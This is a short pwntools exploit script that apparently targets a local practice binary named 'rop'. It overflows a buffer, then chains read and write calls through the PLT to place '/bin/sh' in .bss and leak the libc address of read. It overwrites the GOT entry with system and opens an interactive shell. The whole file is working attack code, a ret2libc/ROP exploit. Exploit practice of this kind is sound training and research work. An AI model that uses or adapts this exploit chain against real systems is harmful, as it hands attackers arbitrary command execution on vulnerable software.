from pwn import *

p = process('./rop')

#context.log_level = 'debug'

binsh = "/bin/sh"

stdin = 0
stdout = 1

read_plt = 0x8048310
read_got = 0x804a00c
write_plt = 0x8048340
write_got = 0x804a018

bss = 0x804a024
offset = 0x9beb0
pppr = 0x80484fd

payload = "A"*62

#read(0,bss,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(bss)
payload += p32(len(str(binsh)))

#write(1,read_got,4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))

#system(bss)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(bss)

p.recvuntil('\n')
p.send(payload)

p.send(binsh)
read = u32(p.recvn(4,timeout=1))
system = read - offset

p.send(p32(system))
p.interactive()
